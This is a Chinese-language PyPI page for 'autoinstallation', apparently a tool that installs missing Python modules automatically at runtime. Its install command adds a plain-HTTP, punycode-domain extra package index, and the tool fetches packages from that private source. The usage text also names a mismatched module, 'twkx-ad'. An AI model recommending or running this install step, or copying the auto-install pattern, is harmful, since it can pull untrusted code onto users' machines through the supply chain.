自動依賴管理系統
Project description
autoinstallation
自動依賴管理系統 (Auto installation) > Developed by KunXuLiu
autoinstallation 是一個為 Python 開發者設計的自動化環境建置工具。它能夠在程式執行時,自動偵測環境中是否缺少指定的第三方模組。若發現缺失,系統會自動從專屬的雲端工作站或官方來源下載並安裝,讓你的主程式不會因為 ImportError 而中斷。
安裝方式
你可以透過指定專屬私有倉庫(雲端工作站)來安裝此套件:
pip install --extra-index-url http://xn--bfru56bwlk.cc.cd/pip/autoinstallation
使用範例
在你的 Python 腳本開頭,引入 twkx-ad 並呼叫 install() 方法。它完美支援單一字串或陣列列表 (List)。
- 安裝單一模組 (字串格式)
import autoinstallation
# 自動檢查並安裝單一模組
autoinstallation.install("requests")
# 之後即可直接使用
import requests
print(requests.__version__)
- 批量安裝多個模組 (列表格式)
import autoinstallation
# 定義你需要的所有依賴清單
dependencies = ["numpy", "pandas", "pillow"]
# 一次性自動檢測與安裝
autoinstallation.install(dependencies)
安全注意事項
由於本工具具備自動執行 pip install 的權限,建議僅針對受信任的倉庫來源使用。
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file autoinstallation-1.0.0.tar.gz.
File metadata
- Download URL: autoinstallation-1.0.0.tar.gz
- Upload date:
- Size: 4.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.14.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e948532470a43eeea50c690c54e0fcc7d5395efb4faa53c1b34c28f5d5e82c2c
|
|
| MD5 |
fbf75da5f5bf961ec9af6050fa681bba
|
|
| BLAKE2b-256 |
5f717ccd2e53f347e7a68dc7dac7092885680757f3967feface11812831c6f6b
|
File details
Details for the file autoinstallation-1.0.0-py3-none-any.whl.
File metadata
- Download URL: autoinstallation-1.0.0-py3-none-any.whl
- Upload date:
- Size: 4.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.14.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
c561700b518e1d24dde01056d5aacd33f6ce01b5b8e704233363a2d8e65e5de1
|
|
| MD5 |
6caf5716c4484419c4080fed9578ebfa
|
|
| BLAKE2b-256 |
e055e460fce616a94c534c38d2a030a8a1af9b3a85a4ce92be86c69e16d389c3
|